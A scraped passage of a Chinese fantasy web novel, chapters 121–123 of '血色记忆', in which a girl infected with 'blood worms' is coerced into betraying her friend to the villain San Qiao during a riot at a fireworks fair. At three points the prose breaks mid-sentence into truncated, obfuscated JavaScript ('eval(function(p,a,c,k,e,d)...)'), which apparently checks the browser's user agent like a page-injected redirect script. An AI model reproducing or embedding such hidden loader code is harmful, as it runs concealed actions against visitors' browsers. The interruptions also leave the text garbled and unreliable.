;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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紧接着那两个如同黑影般的下手手脚麻利地不知从那里架出了一个人出来,那个人不是别人,就是他们三天前从老巷子里击晕带走的萧吉,现在的萧喜垂着头,还是一副不省人事、任人宰割的模样。他们深谙主人的心思,所以只是架着萧吉走到三侨和萧喜屋子的与门槛处相对的正前方,找到这个角度后故意定在外面,没有再往屋子里走动。 很明显,他们是故意将萧吉展示在萧喜面前的,但是却没有要让萧喜接触他的意思。 三侨朝桌案旁移了两步,好给萧喜留下足够的视野空间,让她好好看清萧吉的模样。 “哥……哥!” 萧喜眼中光泽忽然跃动起来,她情绪突然不受控制,情绪高昂到了极点后的她,早已对自己身处的环境视若无睹。 她全然不顾她身下那张高脚桌距离地面的高度,一个劲儿地朝门外扑过去,瘦弱的躯体一下就扑到了地面上,几声清脆的骨裂声落下,她的动作不得已休止。她狼狈地趴在满是尘埃的地板上,仰着头可怜巴巴地望着被人高高架起的哥哥,无助地喊着“哥哥”,泪水如同涛涛江水,源源不断,将身下的灰尘糊成了一团泥浆。 三侨站在暗处,看着这一切,心里爆发着难以言说的喜悦,疯狂至极。 他不忍打破这般苦情的气氛,憋笑憋得肚子疼痛,快要直不起身子。他忍俊不禁地朝屋外两个下手打了个“见好就收”的手势,下手得令迅速退下,拖着萧吉遁入黑暗,顷刻间就不见踪迹。 “不……不……不,不要走,哥哥!”萧喜匍匐在地,望着萧吉消失的方向哭喊得撕心裂肺。 三侨走到了她的面前,嫌弃似的拍了拍身上的灰尘,弯下身躯,笑着盯着萧喜那双婆娑的泪眼,说道:“看到了吗,你想要的哥哥在我手里,你是不是特别想救他?” 两人无言片刻,三侨又挑了挑眉眼,用十分欠揍的语气继续问候:“不,别用这种眼神看我。你恨我没用,我又不是让你哥哥变成这样的罪魁祸首!而且,你也打不过我!呵呵呵呵!” “你知道你现在最该恨谁吗?” “你应该恨金瑶蒂!她才是让事情展开的始作俑者,对不对?没有她,你不会变成这样,你的哥哥也不会。” 萧喜的眼神逐渐闪现出一种奇异的红光,与三侨那双猩红色的血眼流露出的凶色有异曲同工之妙。她承认自己那颗在内心沉寂已久的恶念,被三侨的话勾了出来,她体内的血蠕很快就捕捉了恶念的气息,一股脑地附着上了萧喜的心房,企图加剧恶念的扩散。 “给你一天的时间,明晚亥时一刻前,我要你亲自带着金瑶蒂来庆阳镇的茹玉大街东巷口见我,我可以看在你听话的面子上,把哥哥作为报酬还给你。这是一笔很划算的买卖,成全了你,也成全了我,自此以后,金瑶蒂是死是活,都不会再与你有任何干系,你和萧吉再也不会因她而被搅乱了生活。” 说到此处,三侨已经直起了身子,他站直,用那双凶性毕露的眸光居高临下地看着萧喜。 他冷冷补道:“当然,不管你是否信我,你也没有任何回转的余地。过时不候,否则萧吉只有死路一条。你,听明白了吗?” 没等萧喜回答,三侨就已经转身踏出了门槛,眨眼间就消失在了她的视野里。 周遭的一切重归平静。 外头长街的灯火越发明亮,碰巧一道刚刚被点亮的烛火,正被主人举到高处的檐下挂着的烛台上,位置的特殊让这道明亮的火光,跨越逼仄拥堵的老巷屋群,轻而易举地就落入了萧喜的视野里。 布满泪痕的那张迷茫的面孔突然不由自主地扭曲起来,不知哪里来的力气,萧喜“刷”地一下就从地上爬了起来。 那道火光让她觉得非常不好受,刺眼夺目,心脏上还会传入犹如被万虫撕咬啃噬过的疼痛感,足以动摇神智。萧喜讨厌火光,甚至十分畏惧它们,和曾经的哥哥一样。 她狠狠打了个哆嗦,随即暴躁地朝屋外跑去,没了火光的侵扰后,她觉得自己好受多了。 …… 三侨已经走远,萧喜已经被他种下血蠕,他想,他计划的第二步已经完成地足够完美。 121. 血色记忆(5) 直到天色很晚的时候,萧喜才回来,面色非常憔悴。 而屋子里的金瑶蒂也好不到哪里去,她自责了一整天,沉重的负罪感本就压得她呼吸不能。结果,萧喜的突然消失又给了她重重一击。 那么晚了,她还毫无睡意,她不知道萧喜为什么还不回来,她害怕萧喜在外面遇到了歹人,可是她不知道萧喜究竟在哪里,她就算出去寻找了,又有什么用呢?她若是贸然出去,叫外面到处寻找她的青楼老鸨的人瞧见了,岂不是又要给萧吉和萧喜再添烦恼? 毕竟,她除了爱给别人添麻烦以外,不就是一无是处吗? 就这样,她抱着千般复杂的心态独自一人承受着黑夜的孤寞深沉,呆在空落落的屋子里不敢安睡,她呆呆地望着那破破烂烂的门板,期待着能有人打开它,那个人可能会是萧吉,可能会是萧喜。 终于功夫不负有心人,她等到了萧喜的归来,萧喜没有遭遇不测,也没有因为太过厌恶她而主动抛弃她。 不知道哪里来的气力支撑着金瑶蒂,让她一下子跃起身子,扑到萧喜身上去。 她摸着手上真实的触感,终于没能忍耐住不争气的泪水,她将萧喜搂紧怀里,搂得紧紧的,完全没有意识到一开始萧喜嫌恶的表情。她手上缺力,脑袋哭得昏胀,最后索性将脑袋埋进了萧喜瘦削的肩窝里去,泪水成聚,在萧喜的肩窝里汇成小小的池塘。 “萧喜……萧喜……萧喜……”金瑶蒂期期艾艾地呼唤着萧喜的名字。 恍然之间,萧喜原本因抗拒而变得僵直的身体竟然松劲下来。 她眸中正邪两色交替轮转不断,待心窝里再度传来撕痛感时,她的眸色恢复成隐约藏进瞳仁的暗红血色,在晦暗的玄夜下伪装得毫无破绽。 恶念重归,忽然的冲动劲儿让萧喜忙不迭地往后退了好几步,金瑶蒂被迫松开了紧抱她的双臂。 金瑶蒂对此还未反应过来,本想焦急地将那句“你还好吗”说给萧喜听的时候,这份好意却猝然被萧喜冷漠的声音,推回了她的嗓子眼儿里。 “我很累了,睡吧。” 说罢,萧喜冷冷地避开金瑶蒂,脱下身上的一件粗布罩衫扑到地板上,蜷曲着身体躺下了。 朦胧清冷的月光下,她甩了个分外生分的背影给金瑶蒂,以此终结了疲惫荒诞的一天。 金瑶蒂失落地从萧喜单薄瘦弱的背影移开目光,她能感觉到对方与她之间渐行渐远的距离……心理上的距离。 她知道,关系崩裂的日子就在眼前,如果萧吉还不会回来,崩裂的进程就会永不止息且愈来愈加速。 而此时口口声声说着自己累了的萧喜,将背影留给萧条的月光和独自黯然神伤的金瑶蒂,却将无法凝神的真实面目留给了她自己。 什么睡不睡觉的话那都是嘴上说说唬人的,她怎么可能真的能安心睡下? 她的脑海里一直回荡着三侨走后留下的那些话,它们犹如恶魔的低语萦绕在她的灵魂身畔,久久不愿离去,折磨得她本就脆弱的灵魂越发丢失自我。 三侨口中的那场划算的交易里,他之所以大言不惭地指责萧喜永无退路,那是因为他洞悉了她的内心,真实的内心。 在这场交易里,选哥哥,还是选让哥哥落入险境的金瑶蒂?利益的权衡多么简单?萧喜只会选择哥哥,所以她才没有退路。如果她选择的是金瑶蒂,她怎会走到穷途末路的境地? 三侨料定萧喜没有退路,因为他知道萧喜不会选择除了萧吉以外的任何东西,他也无需考虑他设下的这场交易埋着多少隐患。 三侨只需要静观其变,完全不用担心这场交易无法进行的问题。他至始至终想要都是一场能让仇人虐心虐身的戏码,胜券在握的他知道结局既定,金瑶蒂本来就是他的囊中之物。 萧喜并不会想到这一层面的问题。 她唯一要做的斗争,不过就是在混杂着萧吉临走前的嘱托和自己的良心的泥沼里,挣扎一番,血蠕的作用将会在此处发扬光大,血蠕会控制宿主内心的邪念和欲望,它们会吞没所谓的善意的嘱托和良心。 所以,半夜挣扎下来,萧喜的立场就已经十分明确——她要用金瑶蒂换取哥哥萧吉的安危。 次日,萧喜一整天琢磨的,再也不是萧吉能不能回来的忧虑了,她在想究竟要用什么样的理由将金瑶蒂骗到事先和三侨约定好的地方。 然而萧喜最后还是发现终究是自己多虑了。 因为三侨好似早就为她解决了所有的麻烦。 今天晚上,在庆阳镇茹玉大街正好有一场繁华的烟火会,这是一个绝妙的借口。萧喜可以准备好说辞,让金瑶蒂以为她会好心带她游玩烟火会便可以了。 萧喜也反应过来,她发现了时间的巧合。 昨晚作为金瑶蒂躲藏于此的第三日,外头青楼老鸨的动静刚巧在那天弱下,而三侨就是在当天晚上找上了萧喜……恰巧前三日,金瑶蒂和她也分外安全,她本以为上次那波追逐萧吉的人可能会故地重返,结果这些天下来,倒是半分动静都没有,老巷区静得出奇。 感觉这三日里,老巷区的平静似水并非像表面上看起来的那么简单,有人好似一直故意保护着这里。 天时地利人和……萧喜觉得这似乎巧合得不可思议,好似她会因为萧吉而带走金瑶蒂的事情早就被他人预判,那个人为她铲除了一切阻碍,助她完成任务。 而那个预判她动作的人,只可能是三侨。 这场任务如今落到萧喜手里,再没有想象中那样堪比唐僧师徒四人西天取经的难度,甚至简单到令人乍舌。这貌似同三侨的行事作风出入极大,他那样的人,这样简单的事情他怎会交代给别人去做?他大可自己把金瑶蒂劫走,干嘛非要让萧喜当个中间人? 三侨不会这样,除非在他眼里,萧喜极有利用的价值,他想要从她身上得到什么呢? 萧喜默了默,结合了自己昨夜的表现,思忖起来。 难道三侨想要的,是她对萧吉和金瑶蒂的背叛么?毕竟,这就是她在这场行动里唯一让她觉得费劲的事情。最难以解决的东西,在别人眼里是最具有价值的。 萧喜沉寂下来,她想了许久,终究还是没能洞悉三侨真正的内心……还是说,她太多虑了,这些事情很可能只是无中生有罢了。 …… 为了给晚上行动做铺垫,萧喜千载难逢地给了金瑶蒂些好脸色。她不想自己猝然改变的态度,让事情的过渡变得太过突兀。 金瑶蒂虽然总感到隐隐的不安,可面对萧喜的改变,她心里总是上涌着说不出滋味的温暖,一点点融化着她心上那块寒冷的冰土,脆弱却鲜活的种子以一种看不清、触摸不到的方式慢慢生根发芽。 暮色逐渐降下,夕阳西落,镶边的层云脱下亮色的衣裳,变得阴沉,它们在不动声色之间,压低了天际线。 萧喜和金瑶蒂难得地在一种和缓的气氛下,共处在一间屋子里,往日里,这个时辰的萧喜总是无影无踪。 或许是伴随着夕阳往西边天际远去的霞光,比从前任何一天都要美妙,金瑶蒂内心覆上的那块冰土备受感化般,加速了融化的进程,变成了一汪清凌凌的泉水,带着生机勃勃的气息,鼓动着她的心神生出一丝丝充满希冀的枝条,催促它们长出勇气的嫩叶。 她想把之前一直碍于与萧喜之间太过僵持的关系而不敢说出口的话,在此时耐心地说予对方听。不知为何,她总觉得错过了现在,就不会再有机会给她说了。时间,貌似一点一点地被抽走——她的时间着实不多了。 金瑶蒂紧张地看着萧喜,深深吸了一口气后,久久才呼出。她出口喊着她的名字:“萧喜。” “其实,就算你不愿意承认,我也知道你心里一直都很怨我。你哥哥的事情,我一直因为羞于表达,到现在都没有给你什么真心的交代。” 说着说着,她的眸子里已经漾起了一层水波,长长的睫羽沾上了水汽,细弱的水珠在微弱的暮色下,闪烁着明明灭灭的光彩。 萧喜对此依旧无动于衷,但她却下意识地逃避金瑶蒂楚楚可怜的目光,生怕自己坚定不移的内心因此动摇。 金瑶蒂咽下了一口苦水,继续说道:“我就是个娇生惯养的小姐,什么都不懂,只是一味地依赖别人的保护,一味地呆在自以为是的保护罩里,因此而觉得别人对我的保护、对我的好都是理所当然的。所以,我就是很喜欢麻烦别人。 除夕那些天,麻烦你和萧吉大老远从冰面下把我捞出来。我回府后,惦记着萧吉对我的好,对他纠缠不休,麻烦他偷偷摸摸地陪我玩,因此你备受冷落。现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“以前我之所以能拥有这些,是因为我是德裕金府的小小姐,而不是因为我是金瑶蒂。现在的我,家破人亡,身子残缺,根本就不配再拥有这些了。” “但是,萧喜,我没有看错萧吉。他和别人都不一样,他给我的好,都只是因为是我。我说这些不是因为我要再继续对你哥哥死缠烂打,而是想告诉你,你哥哥是个很好的人,曾经他有什么对不住你的地方都不要怨他,要怨我。他因我出事,也都怨我,都是我的错。我身子脏,什么都没有,只有一身的娇气,我还不会体谅别人,不会站在你们的立场上想问题,我总是这样,你不喜欢我都是正常的……” 她真的是在以贬低自己的方式,力保萧吉,从而让他们兄妹之间的关系不会因她而破裂。 虽然这些话听起来很难堪,但殊不知,金瑶蒂将这些贬低自我的话说出来后,有多么舒心,她从中获得救赎,让委身于负罪心的自己,还能喘出几口还算鲜活的气。 “为什么要突然说这些……” 萧喜没忍住,从臂弯里探出一双眼睛,里面藏着深不见底的忧郁。 假惺惺……虚伪…… 她以为对方接下来的话会让她在心底将她的形象落实成这样。 “因为……我知道我的时间已经快要走到极限了,但或许,萧吉还有你陪着,你也会继续在他的关爱下长大,我希望你们,一直开心,无忧无虑。而我,会主动退出。” 金瑶蒂眯了眯眼,微微弯出一丝弧度,莹莹泪花凝结在睫羽之间,她的笑是那么让人心疼。 萧喜身子一僵,那双刚刚探出臂弯的眼睛再度懦弱地收回。她的心好痛,犹如被万蚁钻噬。她不能动摇,因为,动摇会带来无穷后患,会给她带来如同这般钻心之痛般难以磨灭的伤害。 血蠕不断滋生,它们驰骋在邪念的海洋之中,用攫取贪婪的姿态乘风破浪。它们给萧喜带来的心痛,在无时无刻地告诉她——萧喜,你已经没有回头路了,你不可以动摇了。 萧喜酸涩的双眼很快平复下来,微微猩红的血光在她深褐色的瞳仁里猝然燃烧。强大的意志力支撑着她的精神,她很快就重新振作了起来。她站直身子,望了望外面,暮色直降,出发的时辰已经到了。 “既然时间不多了,那就不能继续浪费了。” “什……么?”金瑶蒂闻言,一噎。 “到今日,青楼老鸨已经将搜抓你的人手全部收了回去,你已经没有危险了。茹玉街有场烟火会,去看吗?”萧喜一直没有回眸,她将目光定格在窗外,所以没人能看清她的神色。 金瑶蒂以为对方真的接受了她那份诚恳的歉意,晦暗的眼中顿时亮起一道明媚的光芒,这次,她由衷地感到开心,不假思索道:“好啊。” 122. 血色记忆(6) 庆阳镇茹玉街道—— 萧喜帮金瑶蒂特地伪装了一番,算是“以防万一”,怕人多眼杂的,被有心之人发现了存在。其实,这只是金瑶蒂一个人的顾虑,这些事情也是她自己要求的。而她身旁的萧喜其实比谁都清楚,就算她什么都不做,坦诚地在大街上大摇大摆,也不会沾染上任何麻烦。三侨,一直在暗处安排着一切。 她们伴着已经变成鸦青色的朦胧的暮光,穿梭在臃肿而复杂的老巷子里,很快她们就能看见前方宽敞大道上绚烂的光辉,听见喧闹的声响,感受到庞大人潮带去的浓厚氛围,分外热闹。 庆阳镇并不是个很富裕的地方,至多算个马马虎虎。平日里,百姓人很少能分出闲情雅致去尽情享受,所以这种欢愉的活动十分少见。一旦到了灯会、庙会、烟火会诸如此类的日子,人们都会纷涌而至,抓紧了为数不多的机会好好休息玩耍一番。 今晚的烟火也不会例外,大半庆阳镇的百姓恨不得都拥到茹玉街上去。 萧喜和金瑶蒂已经进入了尽管宽敞但却非常拥堵的街道,欢声笑语纷纷在她们耳边炸起,被燃上火苗的烟火在地面“呼哧呼哧”地转悠着,再猛地往上蹿起,瞬间腾空而起,再炸开蓬勃的焰气,橙黄色明亮,火红色镶边,中间亮得不可思议,耀眼的白光在夜幕里绽开绚烂的光晕,仿佛炸开的不是焰火,而是什么结界点,要把观者团团包裹进来,让人们尽情沉醉在这场令人神志不清的幻象之中。 市井百态下,人间烟火气浓郁到让人喘不来气。 金瑶蒂倒还算兴奋,萧喜就不怎么好受了。满街到处点着没有罩上灯纸的火烛、无数共同炸开的炫目烟火,在她的眼里绝对算不上美丽,反而刺目地让她眼神发花。这样还不算完,心脏上也会慢慢向全身传递着让人全身酸麻的撕痛感,并随着时间的加长,不断加剧。 萧喜强忍着这些不适感,所以她的脸色憋得发白,嘴唇也因为无力,而出现一些细微的龟裂。看来,这差事倒也不是毫无风险,她高估了自己忍耐火光的极限。 她必须加快步伐,加速办事的进程。 “去东巷那边看看吧。”萧喜故作镇定地朝前方某个方向指了指。 金瑶蒂看着她,又看看她指向的方向,迟疑了片刻后,脸上出现一个灵光一现般的神情,赶忙反手拉住萧喜瘦她半圈的手腕,朝东巷的方向奔去。她动作灵活,在那样多的人群里,她愣是从中绕出了一条小道来,一路上,她们二人几乎畅通无阻。 萧喜找不到多余的空间安放手脚,自然无法反抗金瑶蒂忽如其来的亲昵举动。她弯着臂膀,挡在头顶前,用来阻隔与人群接触时可能遇到的各种碰撞。她抬眸侧颜看了金瑶蒂一眼,看到她眸中闪烁的光彩,极具目的性,她知道金瑶蒂忽然这样是因为有一个迫切想去的地方。 “我……们去哪儿?”萧喜提声道,以此不让她的声音淹没在茫茫人海。 好在金瑶蒂听到了,她笑了笑,回道:“你一提到东巷就提醒了我,那边有个卖糖葫芦的小老头,那里的糖葫芦是我吃过最好吃的,我想带你过去看看。” 糖葫芦…… 这三个被包裹在几个长句中的字眼,顷刻间让它周围的话语变得模糊而失真,三个字被赋予了极其重要的地位,十分戳人耳蜗,也让萧喜的内心受下沉沉一次重击。 糖葫芦…… 那个罪恶的开始…… 回忆涌上心头,势如潮水,无法抑制。 除夕那天,哥哥萧吉与金瑶蒂分别的时候,他格外不舍,只觉相见恨晚,他半点没有犹豫,用身上唯剩的几个铜板买了一串冰糖葫芦送给了金瑶蒂—— 冰天雪气里,糖葫芦浇着糖汁、火红热烈的模样格外夺目,萧喜从未尝过它的滋味,她多么期盼自己也能拥有,所以她小心翼翼地问着:“哥哥……我也想要……” 可是哥哥却说:“哎呀,我这不也没钱了,哥哥以后再给你买!” 回忆的声音逐渐远去…… 而那句引人遐想的“以后”最终却给萧喜一次又一次的打击,“以后”究竟是什么时候,她不知道,但应该是遥遥无期吧。 自从除夕那次分别之后,潜移默化之间,哥哥的重心一直在偏向别人,萧喜自然而然地将那串冰糖葫芦视作了哥哥偏心的开始…… 时至今日,哥哥萧吉消失,萧喜怎么都不会想到,再次同她提及“糖葫芦”的人会是她极为反感的金瑶蒂,金瑶蒂竟是主动与她提及的。 不知道那东西究竟是什么样子的滋味……萧喜是说糖葫芦,也是在说她此时的内心。 是又疼又酸又甜……的吗? 萧喜莫知莫觉间就红了眼眶。 ……. 果不其然,在这样热闹的日子里,一个老人家白了鬓发,腰板却直挺,扶着一只上头插满了红色串串的草架子,站在灯火下,看人来人往,脸上笑意灿烂。 金瑶蒂从前经常托家里的侍女家仆,从这个老伯伯手里买糖葫芦,偶尔她也会偷偷带着侍女家仆亲自去光顾他的生意。久而久之,她与老伯伯就熟络了起来,她每回托人或者亲自来这里,都会以“李伯”称呼他。 可如今物是人非,她已经不再是金枝玉叶的金府小小姐,反而成了人们口中低贱的妓女。她哪敢再以熟人姿态站上前去,称他“李伯”?想到这里,刚刚才稍有精神的她,又默默垂下了头,远远地定在那里呆着不动。 萧喜看出了她的为难,所以主动请缨,让自己替了她去买了。 当她刚接住李伯手里的两根糖葫芦的时候,脑中忽地恍惚了一阵,紧接着,她听到了自己心间的颤动声,她发现自己越与李伯接近,她心中产生的共鸣声就愈发明显。 她错愕地抬首,看到李伯的状态也与她不尽相似,不,他的状况比她的严重得多。李伯的眼白控制不住的上翻,手也开始剧烈颤抖,挺直的背脊瞬间佝偻下去,他捂着心脏,不停地喊着“疼、疼、疼”。 萧喜被吓到了,她只顾着往后退,完全来不及握紧手中的两串糖葫芦,随着它们跌落尘埃,萧喜往后退的脚步已经变成了明显的逃跑。 她的心也痛,剧烈的共鸣之声不断地提醒着她,某种未知事物正在迫近,这种感觉……就像是同类之间在相互呼唤时引发的无法阻碍的某种东西。 那李伯!竟也中了血蠕?!怎么会?! 她心下一紧,一种极为强烈的不安感席卷了她的脑海。 她忽然意识到拥堵嘈杂的街道已经变得安静下来,她赶忙朝四周张望了一番。 不知什么时候,塞满大街小巷的人潮忽然不见,她的身边空落落一片,仅剩像李伯那样的零星几人散落在此,他们的状况同李伯表现的极为相似——眼白上翻,目呲欲裂,身躯折叠扭曲,捂着胸口抽搐不已。萧喜已经发现,自己一旦与他们接近,心上的共鸣声便会增大,震痛心脏。 除了这些模样诡异的人以外,其他那么多的百姓们都去哪儿了?萧喜终于发现,那些百姓并非原地蒸发消失,而是达成了一致的目的,主动聚集到了长长街道的另外一端,黑压压的一片,灯火落下时的间隙都不肯留下。 萧喜停住步伐,站定于此,她的身后是金瑶蒂,如今瑟瑟发抖着愣在原地。萧喜处在街道的东头,而那片乌泱泱的人群都聚集在西头,中间间隔着不到半里的距离。两派人犹如两只将要陷入水深火热战局的军队,但并非势均力敌——所有的百姓几乎都堆满在西头,东头仅有她和金瑶蒂两人。 那些百姓们都开始诡异地抽搐,嘴里叫着“啊呜啊呜”的叫人听不懂的话,人群庞大,叫声混乱,凑合起来宛如对着猎物张开血盆大口的大虫在咆哮的声音。 他们和李伯一样,拼命地翻着眼白,眼眶被撑的快要撕裂开来,血色涌现,一副来者不善的模样。 萧喜也被吓得不轻,腿都是抖的,她心脏上的共鸣之声快要吞没她所有的自制力,她有预感只要再差一点点,她也会加入那些诡异的东西里面,成为他们的同类。 金瑶蒂的情况也很恶劣,幸运的是她的精神还算正常,如今她虽然怕得要命,但她却没有逃走,她在等待萧喜跑过来,不然她不会迈开步伐。 那些魔怔了的百姓们开始走动,乌泱泱黑漆漆的一片,有如黑色的浪潮朝向着东部卷席,要不了多久,他们便会冲破一整条街道。 眼看着那些扭曲的怪物们不断行径,萧喜却完全控制不了自己,她竟然与那些怪物们产生了认同感,逃跑的想法一点点被她体内的血蠕侵蚀,她毫无动静,就算怪物逼近,她也毫无走动的意思。 看着萧喜不对劲,金瑶蒂以为她是被吓傻,只好不顾一切地顶着那帮有着庞大规模的怪物向东边席卷过来的、夹杂着血腥气味的恐怖热浪,一把抓住萧喜的手腕,恨不得使出吃奶的劲儿也要带她朝后方狂奔。 一边逃,还一边安慰萧喜:“别怕,姐姐肯定会保护好你的!” 说起来,这还是她第一次在外人面前以“姐姐”自称,这个称呼对于常年来被旁人呵护长大的小幺来说,是多么得陌生,她曾一度天真地以为这个称呼对自己来说,是遥不可及的,她没有想到,居然会有一天夜晚,她会主动将此安作自己的头衔,也明白,“姐姐”并非只是一个单薄的称呼,而是敢于承担责任的象征。她想,也许这样可以能给萧喜带来些许安全感。 萧喜在街道两旁敞亮的灯火下,将金瑶蒂着急忙慌,却又急切无奈的神色一览无余。她的模样,不像是装模作样给她卖情怀,她是真心实意地担心她。 萧喜本就撕痛的心房因为再度动摇的念头而放大了疼痛的作用,她不由得抽搐了一番,却来不及犹豫。疼就疼吧,她还是没有反抗,任由金瑶蒂拽动她的手腕往不知名的前方奔跑。 天上的月被遮掩了起来,一声“轰隆”雷鸣闪现,让漆黑的天幕顿时裂开一条蛇形的亮缝。倾盆大雨紧跟其后,庆阳镇的烟火气在眨眼间被蓬勃的雨腥味涤荡干净。 雨水刮翻着街道上无人收拾的灯火,原本亮堂的火苗依次熄灭,从蓬勃走向衰败。萧喜不由得眯着眼,才能看清前方的路。 她看到东街道的尽头有一侧满是汪汪的河水,那里停泊着几只收着帆的小船,船上的桅杆下挂着一只在风雨中摇曳的风灯,油腻腻的灯纸力保它暂时不会被雨水濡烂,而它单薄的灯光刚好够萧喜看到它周围的略显模糊的事物。 她看到有三只人影立在一辆由一只栗色辕马拉着的马车旁,他们立在东街道另一头连通出镇道路的雨棚下。她虽然看不清那些人具体的模样,但其中带头的那个人长着一双在黑幕雨夜里都分外戳目的猩红眸子,她一下子就认出了那个人,他是三侨,他身后立着的两个家伙就是三侨的下手,是那次架着她昏迷的哥哥的两个人。 萧喜这才从恍惚和惊慌里回神,她和金瑶蒂在不知不觉间就已经到了东巷口。 “原来这就是东巷口……” 不好的预感弥漫在萧喜的心头,而金瑶蒂依旧拉着她往前方义无反顾地奔走,她根本不知道前面等待她的究竟是什么。 萧喜不知怎么的,她本想抽出被人拉住的手,却发现自己被对方攥得紧紧的,根本无法逃开。而随着她愈发往外抽手的幅度的增大,对方就会愈发将她的手拉紧。虽然因为情势紧迫,金瑶蒂无法抽出精力再与她说话,可是她却清楚,金瑶蒂一直在告诉她“别害怕”。 不,不要这样对她……萧喜觉得自己一定是疯了,她的眼眶中情不自禁地溢出很多泪水。她发现,金瑶蒂越是想要对她好,越是想要保护她,她的心里就会越发难受,她觉得自己才是那个自私自利的小人,这种感觉已经不是第一次出现了。 她不想变成自己讨厌的样子,她不想再任由自己去抱怨一个本该无罪的人,她不想看见无罪的人因她背负起无穷的负罪感痛苦地活着、痛苦地忏悔。 她内心不断动摇,好似激发了血蠕对宿主的不满,它们在她的体内横冲直撞,而她已经拼尽全力与它们对抗。无力感席卷全身,意志的斗争让精神产生剧烈的分岔,撕心裂肺的疼痛,逼得她不由地抽搐,她泪水失禁。 萧喜后悔了,她在霏霏淫雨之中吃力地紧盯着三侨的身影,她默默攥紧了手心。她后悔了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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其实,今夜庆阳镇发生的这样的暴乱,并不在他的意料之内,甚至他发觉那些镇上百姓因为血蠕而突然暴动的时候,他自己差点也被吓得屁滚尿流。并且因为他自己体内也有血蠕的缘故,那些因为血蠕而变成暴动的怪物的百姓们的疯狂行径,也让他的心脏不受控制地产生共鸣之声,强烈的震颤让他痛不欲生。 刚刚萧喜的一系列症状和三侨的分毫不差。毕竟,萧喜体内也有血蠕。 血蠕的特性便是如此,一旦周身有血蠕走向失控或暴动,其他的血蠕也会感应到,从而产生共鸣,激起“同类”的关注,以免错伤了“自己人”。血蠕的造物主非常了解它们的作用,也深刻明白它们暴动起来不分敌我的隐患,所以才会强行设置这样一种机制去控制血蠕吧。 血蠕埋伏在大周各地已经有了好些日子,三侨对于身后大人的这点计划还是能摸得门儿清的。 但是,大人却从未跟他提过爆发之日刚巧不巧就是今夜。事情发生得太过突然了。 这会不会太巧合了些,大人要他将金瑶蒂送去盛京的日子也是今夜吧? 今夜……今夜……三侨不是傻子,这点不同寻常的蹊跷,他不可能不看在眼里。 良久的沉默和思索让他不禁摸出了一些线索,要么,身后的大人是为了方便他办事,顺便搅和了庆阳镇一场……不,太离谱了,这种说法,三侨说出口的时候都差点要往自己脸上糊一巴掌。 要么就是……那位大人早就有所打算,今晚,所有发生的事情其实尽在大人的掌握之中。那么这也就说明了,今夜血蠕的爆发存在着某种不可言说的作用,只是现在的三侨还没有能力发觉,但他觉得这对他来说未必是什么好事,他的预感一向很准。 …… 事已至此,已经管不了那么多了,看来计划的第三步得加快进程了。 “妈的,”三侨还是没忍住唾骂了一声,紧接着开始吩咐身边的两个下手,“可以准备把萧吉弄醒了,还得给我弄得神智清爽点!” “是,”那两个下手异口同声地应道,接着动作麻利地将身子探进马车上,一同架着里面的萧吉出来。这只轿子本来是用来运金瑶蒂去盛京的,但碍于他们还要把萧吉这个麻烦货带在身边,所以在行动第三步计划之前,他们干脆先把萧吉塞在了里面。 刚被拽出来的萧吉显然被外面劈头盖脸的潮气弄得不大舒服,但终究还是没能醒过来,顶多眉头皱褶了些。 那两个下手丝毫不手软,直接拎着昏沉的人抛到了雨棚外头。沉重的坠击声响起,血腥暴雨的侵袭紧接其上,萧吉不得不从昏迷中醒来。 …… 这次并非萧吉被三侨劫走后第一次醒来,他中途醒过一次,就在昨日。 三侨怕他饿死了,让下手把他弄醒后逼着他进食了些粗饭。除此之外,三侨一脸不怀好意地同他闲扯了些往事,譬如他是如何如何被他杀死的,譬如他是如何一次又一次被他破坏计划后被逼往绝路的,譬如他是如何死后借助血蠕复生的。 萧吉的确被三侨的出现吓得不轻,三侨的模样和癫狂阴戾的神情更是让他无法忘却,并顺利地变成了他的梦魇,以至于接下来昏迷的日子里,他的脑海一直被三侨恐怖溃烂的脸沾满。但是,他无法理解三侨对他说的那些往事,因为他根本就不记得自己做过那样的事情,他的记忆分外模糊,他也完全不知道血蠕是个什么东西。 萧吉徒有的恐惧和茫然的态度让三桥顷刻崩溃,他的话没有刺激到萧吉,反而刺激到的是自己。 情绪激动下,三侨不甘心地继续同萧吉说,他的妹妹在他消失后背叛了他,要将金瑶蒂送入歹人之手。 这下子让三侨得以如愿以偿,在听完这些话之后,三侨成功在萧吉的脸上看到了痛苦和不敢置信的神色。 “不可能!萧喜不可能是那样的人!”萧吉激动地快要跳起来。 “怎么不可能,”三侨诡异的对他笑了笑,“你不信也可以,明晚你能就见证现实了。我允许你在接下来的一天里,自由遐想,祝你愉快。” 说罢,三侨一道掌风落下,拍到萧吉后脖颈处的穴位,萧吉再度晕厥了过去,很快被那两个下手拖离了三侨的视野里。 123. 血色记忆(7) 回到深沉的雨幕下,萧吉已经彻底清醒,没等他自行爬起身,就被两个下手再度拎起了双臂,他被架在半空之中,顶着疯狂的暴雨下,努力地眯着眼,让眼睛被雨水的干扰的程度降到最低,由此将目光朝他的正前方探出去。 他看到了对他来说,最重要的两个人——萧喜已经被金瑶蒂拉拽着跑过了三分之一的街道,到达了尽头,她们的步伐不得已慢下。 眼前一侧是飘满雨花的江河,一侧是熟悉的人影。 萧喜不由得瞪大双眼,因为雨水的冲刷,她泪流满面的面孔变得无法被分辨。 而金瑶蒂也已经站定步伐,她拉着萧喜的手不由得松动,她的手开始颤抖。 “阿吉……” 久违的相见,让她不禁红了眼眶。 金瑶蒂完全顾不上其他的事情,她眼里只有萧吉,她看到他被陌生而散发着危险的人架住的时候,她并没有感到害怕,只顾着上前扑过去。 “别过来!”萧吉无力地呐喊着,用尽了最后所有的气力。 